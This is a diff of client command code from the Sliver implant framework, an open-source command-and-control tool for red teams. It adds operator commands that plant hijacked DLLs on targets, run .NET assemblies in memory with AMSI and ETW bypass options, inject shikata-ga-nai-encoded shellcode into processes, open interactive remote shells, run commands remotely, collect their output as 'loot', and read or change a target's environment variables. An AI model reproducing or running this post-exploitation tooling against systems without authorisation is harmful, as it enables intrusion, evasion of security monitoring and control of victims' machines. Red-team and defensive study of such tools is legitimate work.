+	localFile, _ := cmd.Flags().GetString("file")
+	profileName, _ := cmd.Flags().GetString("profile")
+	localReferenceFilePath, _ := cmd.Flags().GetString("reference-file")
+
+	if referencePath == "" {
+		con.PrintErrorf("Please provide a path to the reference DLL on the target system\n")
+		return
+	}
+
+	if localReferenceFilePath != "" {
+		localRefData, err = ioutil.ReadFile(localReferenceFilePath)
+		if err != nil {
+			con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
+			return
+		}
+	}
+
+	if localFile != "" {
+		if profileName != "" {
+			con.PrintErrorf("please use either --profile or --File")
+			return
+		}
+		targetDLLData, err = ioutil.ReadFile(localFile)
+		if err != nil {
+			con.PrintErrorf("Error: %s\n", err)
+			return
+		}
+	}
+
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
+	con.SpinUntil(msg, ctrl)
+	_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
+		ReferenceDLLPath: referencePath,
+		TargetLocation:   targetPath,
+		ReferenceDLL:     localRefData,
+		TargetDLL:        targetDLLData,
+		Request:          con.ActiveTarget.Request(cmd),
+		ProfileName:      profileName,
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err)
+		return
+	}
+
+	con.PrintInfof("DLL uploaded to %s\n", targetPath)
+}
@@ -1,101 +0,0 @@
-package command
-
-import (
-	"context"
-	"fmt"
-
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-)
-
-func getEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	session := ActiveSession.Get()
-	if session == nil {
-		return
-	}
-
-	var name string
-	if len(ctx.Args) > 0 {
-		name = ctx.Args[0]
-	}
-
-	envInfo, err := rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
-		Name:    name,
-		Request: ActiveSession.Request(ctx),
-	})
-
-	if err != nil {
-		fmt.Printf(Warn+"Error: %v", err)
-		return
-	}
-
-	for _, envVar := range envInfo.Variables {
-		fmt.Printf("%s=%s\n", envVar.Key, envVar.Value)
-	}
-}
-
-func setEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	session := ActiveSession.Get()
-	if session == nil {
-		return
-	}
-
-	if len(ctx.Args) != 2 {
-		fmt.Printf(Warn + "Usage: setenv KEY VALUE\n")
-		return
-	}
-
-	name := ctx.Args[0]
-	value := ctx.Args[1]
-
-	envInfo, err := rpc.SetEnv(context.Background(), &sliverpb.SetEnvReq{
-		Variable: &commonpb.EnvVar{
-			Key:   name,
-			Value: value,
-		},
-		Request: ActiveSession.Request(ctx),
-	})
-	if err != nil {
-		fmt.Printf(Warn+"Error: %v", err)
-		return
-	}
-	if envInfo.Response != nil && envInfo.Response.Err != "" {
-		fmt.Printf(Warn+"Error: %s", envInfo.Response.Err)
-		return
-	}
-	fmt.Printf(Info+"set %s to %s\n", name, value)
-}
-
-func unsetEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	session := ActiveSession.Get()
-	if session == nil {
-		return
-	}
-
-	if len(ctx.Args) != 1 {
-		fmt.Printf(Warn + "Usage: unsetenv KEY\n")
-		return
-	}
-
-	name := ctx.Args[0]
-	if name == "" {
-		return
-	}
-	unsetResp, err := rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
-		Name:    name,
-		Request: ActiveSession.Request(ctx),
-	})
-
-	if err != nil {
-		fmt.Printf(Warn+"Error: %v", err)
-		return
-	}
-
-	if unsetResp.Response != nil && unsetResp.Response.Err != "" {
-		fmt.Printf(Warn+"Error: %s\n", unsetResp.Response.Err)
-		return
-	}
-	fmt.Printf(Info+"Successfully unset %s\n", name)
-}
@@ -0,0 +1,4 @@
+Environment
+===========
+
+Contains command implementations for manipulating remote environment variables.
@@ -0,0 +1,77 @@
+package environment
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"google.golang.org/protobuf/proto"
+
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+// EnvGetCmd - Get a remote environment variable
+func EnvGetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	var name string
+	if len(args) > 0 {
+		name = args[0]
+	}
+
+	envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
+		Name:    name,
+		Request: con.ActiveTarget.Request(cmd),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if envInfo.Response != nil && envInfo.Response.Async {
+		con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, envInfo)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintGetEnvInfo(envInfo, con)
+		})
+		con.PrintAsyncResponse(envInfo.Response)
+	} else {
+		PrintGetEnvInfo(envInfo, con)
+	}
+}
+
+// PrintGetEnvInfo - Print the results of the env get command
+func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverConsoleClient) {
+	if envInfo.Response != nil && envInfo.Response.Err != "" {
+		con.PrintErrorf("%s\n", envInfo.Response.Err)
+		return
+	}
+	for _, envVar := range envInfo.Variables {
+		con.Printf("%s=%s\n", envVar.Key, envVar.Value)
+	}
+}
@@ -0,0 +1,81 @@
+package environment
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"google.golang.org/protobuf/proto"
+
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+// EnvSetCmd - Set a remote environment variable
+func EnvSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	name := args[0]
+	value := args[1]
+	if name == "" || value == "" {
+		con.PrintErrorf("Usage: setenv KEY VALUE\n")
+		return
+	}
+
+	envInfo, err := con.Rpc.SetEnv(context.Background(), &sliverpb.SetEnvReq{
+		Variable: &commonpb.EnvVar{
+			Key:   name,
+			Value: value,
+		},
+		Request: con.ActiveTarget.Request(cmd),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if envInfo.Response != nil && envInfo.Response.Async {
+		con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, envInfo)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintSetEnvInfo(name, value, envInfo, con)
+		})
+		con.PrintAsyncResponse(envInfo.Response)
+	} else {
+		PrintSetEnvInfo(name, value, envInfo, con)
+	}
+}
+
+// PrintSetEnvInfo - Print the set environment info
+func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverConsoleClient) {
+	if envInfo.Response != nil && envInfo.Response.Err != "" {
+		con.PrintErrorf("%s\n", envInfo.Response.Err)
+		return
+	}
+	con.PrintInfof("Set %s to %s\n", name, value)
+}
@@ -0,0 +1,76 @@
+package environment
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"google.golang.org/protobuf/proto"
+
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+// EnvUnsetCmd - Unset a remote environment variable
+func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	name := args[0]
+	if name == "" {
+		con.PrintErrorf("Usage: setenv NAME\n")
+		return
+	}
+
+	unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
+		Name:    name,
+		Request: con.ActiveTarget.Request(cmd),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if unsetResp.Response != nil && unsetResp.Response.Async {
+		con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, unsetResp)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintUnsetEnvInfo(name, unsetResp, con)
+		})
+		con.PrintAsyncResponse(unsetResp.Response)
+	} else {
+		PrintUnsetEnvInfo(name, unsetResp, con)
+	}
+}
+
+// PrintUnsetEnvInfo - Print the set environment info
+func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverConsoleClient) {
+	if envInfo.Response != nil && envInfo.Response.Err != "" {
+		con.PrintErrorf("%s\n", envInfo.Response.Err)
+		return
+	}
+	con.PrintInfof("Successfully unset %s\n", name)
+}
@@ -0,0 +1,4 @@
+Exec
+====
+
+Implements execution related commands like `execute`, `execute-shellcode`, `execute-assembly`, etc.
@@ -0,0 +1,151 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/spf13/cobra"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
+func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	arch, _ := cmd.Flags().GetString("arch")
+	method, _ := cmd.Flags().GetString("method")
+	className, _ := cmd.Flags().GetString("class")
+	appDomain, _ := cmd.Flags().GetString("app-domain")
+	pPid, _ := cmd.Flags().GetUint32("ppid")
+
+	assemblyPath := args[0]
+	isDLL := false
+	if filepath.Ext(assemblyPath) == ".dll" {
+		isDLL = true
+	}
+	if isDLL {
+		if className == "" || method == "" {
+			con.PrintErrorf("Please provide a class name (namespace.class) and method\n")
+			return
+		}
+	}
+	assemblyBytes, err := os.ReadFile(assemblyPath)
+	if err != nil {
+		con.PrintErrorf("%s", err.Error())
+		return
+	}
+
+	assemblyArgs := args[1:]
+	process, _ := cmd.Flags().GetString("process")
+	processArgsStr, _ := cmd.Flags().GetString("process-arguments")
+	processArgs := strings.Split(processArgsStr, " ")
+	inProcess, _ := cmd.Flags().GetBool("in-process")
+
+	runtime, _ := cmd.Flags().GetString("runtime")
+	etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
+	amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
+
+	if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
+		con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
+		return
+	}
+
+	assemblyArgsStr := strings.Join(assemblyArgs, " ")
+	assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
+	if len(assemblyArgsStr) > 256 && !inProcess {
+		con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
+		confirm := false
+		prompt := &survey.Confirm{Message: "Do you want to continue?"}
+		survey.AskOne(prompt, &confirm, nil)
+		if !confirm {
+			return
+		}
+	}
+
+	ctrl := make(chan bool)
+	con.SpinUntil("Executing assembly ...", ctrl)
+	execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
+		Request:     con.ActiveTarget.Request(cmd),
+		IsDLL:       isDLL,
+		Process:     process,
+		Arguments:   assemblyArgsStr,
+		Assembly:    assemblyBytes,
+		Arch:        arch,
+		Method:      method,
+		ClassName:   className,
+		AppDomain:   appDomain,
+		ProcessArgs: processArgs,
+		PPid:        pPid,
+		Runtime:     runtime,
+		EtwBypass:   etwBypass,
+		AmsiBypass:  amsiBypass,
+		InProcess:   inProcess,
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+	hostName := getHostname(session, beacon)
+	if execAssembly.Response != nil && execAssembly.Response.Async {
+		con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, execAssembly)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+
+			HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, cmd, con)
+		})
+		con.PrintAsyncResponse(execAssembly.Response)
+	} else {
+		HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, cmd, con)
+	}
+}
+
+func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
+	saveLoot, _ := cmd.Flags().GetBool("loot")
+	lootName, _ := cmd.Flags().GetString("name")
+
+	if execAssembly.GetResponse().GetErr() != "" {
+		con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
+		return
+	}
+
+	save, _ := cmd.Flags().GetBool("save")
+
+	PrintExecutionOutput(string(execAssembly.GetOutput()), save, cmd.Name(), hostName, con)
+
+	if saveLoot {
+		LootExecute(execAssembly.GetOutput(), lootName, cmd.Name(), assemblyPath, hostName, con)
+	}
+}
@@ -0,0 +1,234 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bufio"
+	"context"
+	"fmt"
+	"io"
+	"log"
+	"os"
+
+	"golang.org/x/term"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+// ExecuteShellcodeCmd - Execute shellcode in-memory
+func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	rwxPages, _ := cmd.Flags().GetBool("rwx-pages")
+	interactive, _ := cmd.Flags().GetBool("interactive")
+	if interactive && beacon != nil {
+		con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
+		return
+	}
+
+	pid, _ := cmd.Flags().GetUint32("pid")
+	shellcodePath := args[0]
+	shellcodeBin, err := os.ReadFile(shellcodePath)
+	if err != nil {
+		con.PrintErrorf("%s\n", err.Error())
+		return
+	}
+	if pid != 0 && interactive {
+		con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
+		return
+	}
+	shikataGaNai, _ := cmd.Flags().GetBool("shikata-ga-nai")
+	if shikataGaNai {
+		if !rwxPages {
+			con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
+			return
+		}
+		arch, _ := cmd.Flags().GetString("architecture")
+		if arch != "386" && arch != "amd64" {
+			con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
+			return
+		}
+		iter, _ := cmd.Flags().GetUint32("iterations")
+		con.PrintInfof("Encoding shellcode ...\n")
+		resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+			Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
+			Architecture: arch,
+			Iterations:   iter,
+			BadChars:     []byte{},
+			Data:         shellcodeBin,
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		oldSize := len(shellcodeBin)
+		shellcodeBin = resp.GetData()
+		con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
+	}
+
+	process, _ := cmd.Flags().GetString("process")
+
+	if interactive {
+		executeInteractive(cmd, process, shellcodeBin, rwxPages, con)
+		return
+	}
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
+	con.SpinUntil(msg, ctrl)
+	shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
+		Data:     shellcodeBin,
+		RWXPages: rwxPages,
+		Pid:      pid,
+		Request:  con.ActiveTarget.Request(cmd),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if shellcodeTask.Response != nil && shellcodeTask.Response.Async {
+		con.AddBeaconCallback(shellcodeTask.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, shellcodeTask)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintExecuteShellcode(shellcodeTask, con)
+		})
+		con.PrintAsyncResponse(shellcodeTask.Response)
+	} else {
+		PrintExecuteShellcode(shellcodeTask, con)
+	}
+}
+
+// PrintExecuteShellcode - Display result of shellcode execution
+func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient) {
+	if task.Response.GetErr() != "" {
+		con.PrintErrorf("%s\n", task.Response.GetErr())
+	} else {
+		con.PrintInfof("Executed shellcode on target\n")
+	}
+}
+
+func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
+	// Check active session
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+	// Start remote process and tunnel
+	noPty := false
+	if session.GetOS() == "windows" {
+		noPty = true // Windows of course doesn't have PTYs
+	}
+
+	rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
+		SessionID: session.ID,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
+
+	shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
+		Request:   con.ActiveTarget.Request(cmd),
+		Path:      hostProc,
+		EnablePTY: !noPty,
+		TunnelID:  tunnel.ID,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	// Retrieve PID and start remote task
+	pid := shell.GetPid()
+
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
+	con.SpinUntil(msg, ctrl)
+	_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
+		Request:  con.ActiveTarget.Request(cmd),
+		Pid:      pid,
+		Data:     shellcode,
+		RWXPages: rwxPages,
+	})
+	ctrl <- true
+	<-ctrl
+
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
+	con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
+
+	var oldState *term.State
+	if !noPty {
+		oldState, err = term.MakeRaw(0)
+		log.Printf("Saving terminal state: %v", oldState)
+		if err != nil {
+			con.PrintErrorf("Failed to save terminal state\n")
+			return
+		}
+	}
+
+	log.Printf("Starting stdin/stdout shell ...")
+	go func() {
+		n, err := io.Copy(os.Stdout, tunnel)
+		log.Printf("Wrote %d bytes to stdout", n)
+		if err != nil {
+			con.PrintErrorf("Error writing to stdout: %v", err)
+			return
+		}
+	}()
+	for {
+		log.Printf("Reading from stdin ...")
+		n, err := io.Copy(tunnel, os.Stdin)
+		log.Printf("Read %d bytes from stdin", n)
+		if err == io.EOF {
+			break
+		}
+		if err != nil {
+			con.PrintErrorf("Error reading from stdin: %v", err)
+			break
+		}
+	}
+
+	if !noPty {
+		log.Printf("Restoring terminal state ...")
+		term.Restore(0, oldState)
+	}
+
+	log.Printf("Exit interactive")
+	bufio.NewWriter(os.Stdout).Flush()
+}
@@ -0,0 +1,264 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"os"
+	"path/filepath"
+	"strings"
+	"time"
+
+	"google.golang.org/protobuf/proto"
+
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/command/loot"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+// ExecuteCmd - Run a command on the remote system
+func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	cmdPath := args[0]
+	args = args[1:]
+
+	token, _ := cmd.Flags().GetBool("token")
+	hidden, _ := cmd.Flags().GetBool("hidden")
+	output, _ := cmd.Flags().GetBool("output")
+	stdout, _ := cmd.Flags().GetString("stdout")
+	stderr, _ := cmd.Flags().GetString("stderr")
+	saveLoot, _ := cmd.Flags().GetBool("loot")
+	saveOutput, _ := cmd.Flags().GetBool("save")
+	ppid, _ := cmd.Flags().GetUint32("ppid")
+	hostName := getHostname(session, beacon)
+
+	// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
+	captureOutput := output || saveLoot || saveOutput
+
+	if output && beacon != nil {
+		con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
+	}
+
+	var exec *sliverpb.Execute
+	var err error
+
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
+	if token || hidden || ppid != 0 {
+		if session.OS != "windows" {
+			con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
+			return
+		}
+		exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
+			Request:    con.ActiveTarget.Request(cmd),
+			Path:       cmdPath,
+			Args:       args,
+			Output:     captureOutput,
+			Stderr:     stderr,
+			Stdout:     stdout,
+			UseToken:   token,
+			HideWindow: hidden,
+			PPid:       ppid,
+		})
+	} else {
+		exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
+			Request: con.ActiveTarget.Request(cmd),
+			Path:    cmdPath,
+			Args:    args,
+			Output:  captureOutput,
+			Stderr:  stderr,
+			Stdout:  stdout,
+		})
+	}
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+
+	if exec.Response != nil && exec.Response.Async {
+		con.AddBeaconCallback(exec.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, exec)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			HandleExecuteResponse(exec, cmdPath, hostName, cmd, con)
+		})
+		con.PrintAsyncResponse(exec.Response)
+	} else {
+		HandleExecuteResponse(exec, cmdPath, hostName, cmd, con)
+	}
+}
+
+func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
+	var lootedOutput []byte
+	stdout, _ := cmd.Flags().GetString("stdout")
+	saveLoot, _ := cmd.Flags().GetBool("loot")
+	saveOutput, _ := cmd.Flags().GetBool("save")
+	lootName, _ := cmd.Flags().GetString("name")
+	ignoreStderr, _ := cmd.Flags().GetBool("ignore-stderr")
+
+	if saveLoot || saveOutput {
+		lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
+	}
+
+	if saveLoot {
+		LootExecute(lootedOutput, lootName, cmd.Name(), cmdPath, hostName, con)
+	}
+
+	if saveOutput {
+		SaveExecutionOutput(string(lootedOutput), cmd.Name(), hostName, con)
+	}
+
+	PrintExecute(exec, cmd, con)
+}
+
+// PrintExecute - Print the output of an executed command
+func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.SliverConsoleClient) {
+	ignoreStderr, _ := cmd.Flags().GetBool("ignore-stderr")
+	stdout, _ := cmd.Flags().GetString("stdout")
+	stderr, _ := cmd.Flags().GetString("stderr")
+
+	output, _ := cmd.Flags().GetBool("output")
+	if !output {
+		if exec.Status == 0 {
+			con.PrintInfof("Command executed successfully\n")
+		} else {
+			con.PrintErrorf("Exit code %d\n", exec.Status)
+		}
+		return
+	}
+
+	if stdout == "" {
+		con.PrintInfof("Output:\n%s", string(exec.Stdout))
+	} else {
+		con.PrintInfof("Stdout saved at %s\n", stdout)
+	}
+
+	if stderr == "" {
+		if !ignoreStderr && 0 < len(exec.Stderr) {
+			con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
+		}
+	} else {
+		con.PrintInfof("Stderr saved at %s\n", stderr)
+	}
+
+	if exec.Status != 0 {
+		con.PrintErrorf("Exited with status %d!\n", exec.Status)
+	}
+}
+
+func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
+	if session != nil {
+		return session.Hostname
+	}
+	if beacon != nil {
+		return beacon.Hostname
+	}
+	return ""
+}
+
+func determineCommandName(command string) string {
+	commandName := strings.ReplaceAll(command, "\\", "/")
+
+	commandName = commandName[strings.LastIndex(commandName, "/")+1:]
+
+	if strings.Contains(commandName, ".") {
+		commandName = commandName[:strings.LastIndex(commandName, ".")]
+	}
+
+	return commandName
+}
+
+func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStdErr bool) []byte {
+	var outputString string = ""
+
+	if combineStdOut {
+		outputString += "Output (stdout):\n" + string(exec.Stdout)
+	}
+
+	if combineStdErr {
+		if combineStdOut {
+			outputString += "\n"
+		}
+		outputString += "Stderr:\n" + string(exec.Stderr)
+	}
+
+	return []byte(outputString)
+}
+
+func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) {
+	if len(commandOutput) == 0 {
+		con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
+		return
+	}
+
+	timeNow := time.Now().UTC().Format("20060102150405")
+
+	shortCommandName := determineCommandName(cmdName)
+
+	fileName := fmt.Sprintf("%s_%s_%s_%s.log", sliverCmdName, hostName, shortCommandName, timeNow)
+	if lootName == "" {
+		lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
+	}
+
+	lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.FileType_TEXT, commandOutput)
+	loot.SendLootMessage(lootMessage, con)
